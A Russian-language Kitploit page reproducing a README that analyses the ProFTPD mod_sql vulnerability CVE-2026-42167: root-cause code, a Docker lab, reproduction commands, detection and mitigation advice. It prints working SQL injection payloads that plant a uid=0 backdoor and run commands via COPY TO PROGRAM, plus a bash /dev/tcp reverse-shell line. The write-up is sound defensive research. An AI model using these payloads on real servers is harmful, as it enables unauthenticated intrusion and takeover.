Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
proftpd-CVE-2026-42167-analysis — Независимое воспроизведение, анализ первопричины на уровне кода и реалистичное описание экспозиции для CVE-2026-42167 (обход is_escaped_text() в mod_sql ProFTPD). | Kitploit
Инструменты/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Независимое воспроизведение, анализ первопричины на уровне кода и реалистичное описание экспозиции для CVE-2026-42167 (обход is_escaped_text() в mod_sql ProFTPD).

Репозиторий
314 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42167 — SQL-инъекция / обход аутентификации / RCE в ProFTPD mod_sql

Независимое воспроизведение, разбор первопричины на уровне кода и откровенный анализ степени подверженности риску для CVE-2026-42167 — обхода is_escaped_text() в конвейере журналирования mod_sql ProFTPD, раскрытого ZeroPath Research и исправленного в ProFTPD 1.3.9a / 1.3.10rc1.

Собрано и проверено от начала до конца в Docker на macOS / Apple Silicon, 2026-04-29.

TL;DR — см. Итог для реалистичной картины степени подверженности риску, прежде чем решать, насколько стоит беспокоиться. Это не ошибка конфигурации по умолчанию, но опасный шаблон экранирования — это именно тот шаблон, который документация upstream рекомендует использовать, поэтому значительная часть развёртываний mod_sql наследует его.

ПолеЗначение
CVECVE-2026-42167
CWECWE-89 (SQL-инъекция), CWE-78 (инъекция OS-команд — через PG COPY TO PROGRAM)
ЗатронутоProFTPD ≤ 1.3.9 с mod_sql + SQLLog/SQLNamedQuery, строка формата которых подставляет управляемую атакующим переменную внутри одинарных кавычек
Исправлено в1.3.9a (af90843ba…) / 1.3.10rc1, см. коммит e6f728481 ("Issue #2052")
Зафиксированный уязвимый коммитae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Уязвимый файлcontrib/mod_sql.c, строки 741–758 (is_escaped_text) и строка 777 (sql_resolved_append_text)
Первичное раскрытиеhttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
Публичный PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Примечания к выпускуhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Первопричина — эвристика is_escaped_text() в contrib/mod_sql.c

mod_sql разрешает переменные строки формата журналирования (%U, %{basename} и т. д.) и добавляет каждый фрагмент в формируемый SQL через sql_resolved_append_text(). Для сохранения обратной совместимости с конфигурациями администраторов, которые уже оборачивают переменные в '…', функция вызывает is_escaped_text(), чтобы решить, нужен ли sql_escapestring:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

root@kitploit:~
Проверка является чисто структурной — она не может отличить *«уже экранировано доверенным кодом»* от *«создано атакующим так, чтобы выглядеть уже экранированным»*.
Любое значение, предоставленное клиентом и совпадающее с `'<no-internal-quotes>'`, пропускает
`sql_escapestring` и конкатенируется в исходном виде в итоговый запрос.

Стандартная, документированная конфигурация оборачивает `%U` / `%{basename}` / `%m` в одинарные
кавычки:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Когда атакующий отправляет USER '<payload>' (открывающая и закрывающая кавычки, без внутренних кавычек), резолвер подставляет %U без экранирования, создавая ''<payload>'' в SQL — литералы пустых строк закрывают окружающие кавычки, а <payload> выполняется как сырой SQL. В PostgreSQL (PQexec) и SQLite (sqlite3_exec) поддерживаются составные запросы, поэтому <payload> может быть любой последовательностью операторов.

Поскольку SQLLog ERR_* срабатывает при неудачных входах, а %U задаётся из USER до аутентификации, атака полностью не требует аутентификации.

Исправление (коммит e6f728481, "Issue #2052")

sql_resolved_append_text() получает параметр already_escaped. Вызывающие функции, которые резолвят значения из клиентского ввода, передают FALSE и теперь проходят через sql_escapestring безусловно — эвристика is_escaped_text() по-прежнему применяется для легитимного пути "конфиг содержит предварительно экранированное значение", но больше не применяется к данным, контролируемым атакующим.


2. Лабораторная среда```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

root@kitploit:~
- Оба контейнера поднимаются через `setup/docker-compose.yml`.
- `setup/proftpd.conf` включает уязвимую конфигурацию журналирования (см. §1).
- `setup/seed.sql` создаёт `users`, `groups`, `activity_log`, `xfer_log`
  и `secrets`, а также одного легитимного FTP-пользователя `ftpuser / ftppass`.

---

## 3. Воспроизведение — копировать и вставить

Предварительные требования: Docker Desktop, Python 3.10+, git. (`uv` необязателен;
PoC используют только стандартную библиотеку.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Два интерактивных варианта в вышестоящем репозитории (preauth_user_rce.py, postauth_stor_rce.py) не изменены и открывают обратную оболочку на базе PTY. Они используют тот же примитив, что и вариант с маркером — просто замените команду оболочки на bash -i >& /dev/tcp/<host>/<port> 0>&1 и сначала прослушивайте порт <port>.


4. Полезные нагрузки, байт в байт

Бэкдор до аутентификации (команда USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

root@kitploit:~
Почему это работает:

1. **Внешние кавычки + отсутствие внутренних кавычек** соответствуют
   `is_escaped_text()` → экранирование пропускается.
2. Настроенный `SQLNamedQuery` — это `INSERT "'%U', '%r', '%m'" activity_log`,
   поэтому итоговый SQL становится
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — но
   `<payload>` сам начинается с `'`, поэтому фактический запрос выглядит так:
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` закомментирует завершающие слоты формата.
4. `$$…$$` — долларовое кавычение PostgreSQL позволяет передавать строки (`backdoor`,
   `pwned123`, `/`, `/bin/bash`) без использования `'` — сохраняя
   обход `is_escaped_text()`.
5. `SQLLog ERR_*` срабатывает при неудачном входе → `PQexec()` выполняет
   вложенный `INSERT INTO users` → учетная запись бэкдора появляется в таблице аутентификации.

### Бэкдор после аутентификации (имя файла `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

Same bypass, different trigger. chr(47) = '/' is used because / in a filename is interpreted as a directory separator by FTP, so the attacker can't put a literal / in the filename — chr() lets the backdoor account get homedir = '/' without sending one over the wire.

Pre-auth RCE (USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

root@kitploit:~
Где `<shell-cmd>` — любая команда. PostgreSQL выполняет её через `/bin/sh`
на хосте **базы данных** от имени OS-пользователя `postgres`. Требует, чтобы роль БД,
используемая `mod_sql`, была суперпользователем (или членом
`pg_execute_server_program`) — это распространено в однопользовательских развёртываниях и
является значением по умолчанию для официального Docker-образа `postgres`, когда роль
создаётся через `POSTGRES_USER`.

---

## 5. Данные, собранные при воспроизведении

| Файл | Что он показывает |
|---|---|
| `logs/01_preauth_backdoor.log` | Вывод PoC до аутентификации, вход как `backdoor` успешен (`230`) |
| `logs/02_db_users_after.log` | Таблица `users` теперь содержит `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Вывод PoC после аутентификации через STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Маркерная нагрузка, отправленная по FTP |
| `logs/06_users_final.log` | Итоговое состояние таблицы `users` |
| `logs/07_proftpd_trace.log` | Собственный журнал трассировки ProFTPD, выводящий `text '…' is already escaped, skipping escaping it again` для каждой внедрённой нагрузки — прямое доказательство того, что `is_escaped_text()` возвращает TRUE для ввода атакующего |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` записан *пользователем postgres* в контейнере postgres |
| `screenshots/*.png` | PNG-рендеры каждого захваченного сеанса терминала |

Строка журнала трассировки — это неопровержимое доказательство:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

Это сообщение выводится в contrib/mod_sql.c:791 только тогда, когда is_escaped_text() вернула TRUE — то есть именно при обходе.


6. Обнаружение / смягчение

Обнаружение (форензика на развёрнутом сервере):

  • grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log с включённым Trace sql:17 фиксирует каждую попытку инъекции, достигшую обхода.
  • Проверьте activity_log (или любую таблицу, в которую пишет SQLNamedQuery INSERT): строки, где столбец имени пользователя начинается с лишней кавычки, содержит null, null);, или содержит INSERT/COPY TO PROGRAM/UPDATE, являются доказательством.
  • Проверьте таблицу users на наличие учётных записей с uid=0, homedir='/' или оболочкой, установленной на реальную оболочку, когда политика требует /sbin/nologin.

Смягчение:

  • Обновите ProFTPD ≥ 1.3.9a / 1.3.10rc1 (коммит e6f728481).
  • Компенсирующий контроль, если обновление пока невозможно: исключите переменные, контролируемые атакующим, из строк формата SQLNamedQuery (замените '%U' на более безопасный %U только внутри параметризованных бэкендов, либо используйте файловое логирование неудачных входов в открытом виде).
  • Эшелонированная защита: убедитесь, что роль PostgreSQL для mod_sql не является суперпользователем — только это уже устраняет путь RCE через COPY TO PROGRAM (обход аутентификации через вложенный INSERT INTO users всё ещё работает, но радиус поражения ограничен базой данных proftpd).

7. Карта файлов этого репозитория```

. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png

root@kitploit:~
---

## 8. Это реалистично — или надуманный крайний случай?

Честный ответ: **уже, чем «отправил один пакет — и получил сервер», но уязвимый паттерн описан в собственной документации ProFTPD, так что это не надумано.** Три независимых измерения определяют, затронут ли конкретное развёртывание, и каждое из них сужает круг.

### 8.1 Загружен ли вообще `mod_sql`?

`mod_sql` подключается по желанию. Его **нет** в сборке ProFTPD по умолчанию и нет в конфигурации по умолчанию дистрибутивных пакетов, таких как Debian `proftpd-basic`. Он у вас есть только если:

- Вы собрали с `--with-modules=mod_sql:mod_sql_<backend>`, или
- Вы установили пакет под конкретный бэкенд: Debian `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` / `proftpd-mysql`.

Люди устанавливают эти пакеты по понятной причине: **аутентификация** на основе SQL (пользователи в БД вместо `/etc/passwd`) или **журналирование активности** на основе SQL для аудита. И то, и другое распространено в shared-hosting, управляемом FTP и корпоративных FTP-drop развёртываниях. Так что `mod_sql` — это реальная часть установочной базы — просто не «каждый сервер».

### 8.2 Используется ли вообще уязвимый паттерн `SQLNamedQuery`?

Вот здесь реалистичность максимальна. Паттерн, который вызывает баг, *и есть документированный.* Примеры, взятые напрямую из вышестоящего дерева на зафиксированном уязвимом коммите:```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

Каждый из них оборачивает управляемую атакующим переменную (%u, %r) в одинарные кавычки — ровно та форма, которую is_escaped_text() ошибочно классифицирует как безопасную. Администратор, который копирует примеры из официальной документации, наследует уязвимый шаблон. Это главная причина относиться к проблеме серьёзно.

8.3 До аутентификации и после

Полностью неаутентифицированный путь (USER + %U + SQLLog ERR_*) — это самый узкий случай. Он требует всех трёх условий:

  • SQLNamedQuery, подставляющий %U (исходное имя пользователя, задаётся даже при неудачном входе) внутри одинарных кавычек — в реальных конфигурациях встречается реже, чем %u, поскольку большинство администраторов хотят видеть успешное имя пользователя для аудита и используют %u.
  • Директива SQLLog, которая срабатывает до аутентификации. SQLLog ERR_* — канонический шаблон для этого. SQLLog PASS … и SQLLog STOR … (самые распространённые формы) — нет.
  • Бэкенд, поддерживающий stacked-запросы (PostgreSQL или SQLite — см. §8.4).

Если в конфигурации используется %u, а не %U, та же ошибка всё равно приводит к обходу аутентификации — но только после аутентификации, т.е. атакующему сначала нужны любые рабочие учётные данные, прежде чем он сможет внедрить бэкдор с uid=0. В большинстве реальных конфигураций это реалистичный сценарий воздействия: FTP-пользователь с низкими привилегиями → FTP-пользователь с правами root через одну загрузку файла.

8.4 Бэкенд имеет большое значение

Обход срабатывает одинаково на любом бэкенде, но то, что атакующий может сделать, сильно различается:

БэкендStacked-запросы?Обход аутентификации через INSERT INTO usersRCE на хосте БД
PostgreSQLДа (PQexec)РаботаетДа через COPY TO PROGRAM, если роль БД — суперпользователь
SQLiteДа (sqlite3_exec)Работает (и FTP-воркер часто имеет PRIVS_ROOT — ещё хуже)Прямого аналога нет, но доступная на запись таблица users → вход в FTP под root
MySQLНет — mysql_real_query без CLIENT_MULTI_STATEMENTSНельзя добавить второй оператор; сводится к однострочному подзапросу / слепой SQLi только для эксфильтрации данныхНет

PostgreSQL или SQLite ⇒ полное воздействие. MySQL ⇒ только утечка данных / слепая time-based инъекция. MySQL — самый распространённый бэкенд для shared-хостинга (cPanel, Plesk, ISPConfig по умолчанию используют его); PostgreSQL чаще встречается в кастомных корпоративных сборках. Обе популяции значительны.

8.5 У RCE есть собственное ограничение

Главная RCE через COPY TO PROGRAM дополнительно требует, чтобы роль PostgreSQL для mod_sql была суперпользователем (или членом группы pg_execute_server_program). Это:

  • Часто — когда БД создана с использованием переменной окружения POSTGRES_USER официального Docker-образа postgres (по умолчанию для большинства PoC-лабораторий и многих образов устройств, включая setup/ в этом репозитории).
  • Часто — когда ProFTPD владеет собственным экземпляром БД (однотенантные развёртывания, образы хостинговых устройств).
  • Реже — когда подготовка роли выполнялась DBA с принципом наименьших привилегий.

Если роль не суперпользователь, вы всё равно получаете примитив обхода аутентификации (сам по себе критический), но OS-уровневая RCE на хосте БД исчезает.


9. Собираем всё вместе — кто реально подвержен риску```

ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above

root@kitploit:~
---

## 10. Рекомендации

Для всех, кто использует ProFTPD `mod_sql`:

- **Обновитесь** до ≥ 1.3.9a в любом случае. Это единственное полное исправление.
- **Компенсирующие меры** до установки патча:
  - Понизьте роль БД до **не-суперпользователя** — это устраняет ветку RCE на
    PostgreSQL.
  - Проверьте таблицу `users` / аутентификации на наличие посторонних строк `uid=0` или недавно
    добавленных учётных записей — см. §6.
  - Включите `Trace sql:17` и ищите
    `is already escaped, skipping escaping it again` в `trace.log` — эта
    строка является прямым доказательством попытки обхода.
  - Если возможно, удалите директивы `SQLLog ERR_*` и любые
    форматы `SQLNamedQuery INSERT`, которые интерполируют `%U` (примитив до аутентификации).
    Пост-аутентификационный путь всё ещё будет существовать через `%u` /
    `%{basename}`, но вы устраните наихудший случай.

---

## 11. Итог

- Это **не** «уязвимость стандартной установки» — у вас должен быть
  включён `mod_sql`.
- Это **есть** «уязвимость при следовании документации» — опасный шаблон
  экранирования является официальным, скопированным из HOWTO-руководств проекта.
- **Полностью неаутентифицированный** сценарий из заголовка реален, но
  требует специфической комбинации конфигурации (pre-auth `%U` + `SQLLog ERR_*` wildcard),
  которая встречается реже, чем пост-аутентификационный путь.
- **Пост-аутентификационная эскалация привилегий** (любой FTP-пользователь → uid=0
  FTP-бэкдор) — гораздо более реалистичный сценарий, применимый к большой
  доле развёртываний `mod_sql` + PostgreSQL/SQLite, использующих
  документированные шаблоны логирования.
- **RCE на уровне ОС на хосте БД** ограничен тем, что роль БД должна быть
  суперпользователем — часто встречается в однопользовательских / appliance-конфигурациях,
  реже — в средах, управляемых DBA.

---

## Благодарности

- Уязвимость обнаружена и первоначально раскрыта
  [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Публичный репозиторий PoC:
  [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Исправление от TJ Saunders, коммит
  [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
  («Issue #2052»).

Этот репозиторий — независимое воспроизведение и анализ для защитных
исследований и обучения. Никакого 0-day. Используйте только на системах, которые вам
разрешено тестировать.
Скачать инструмент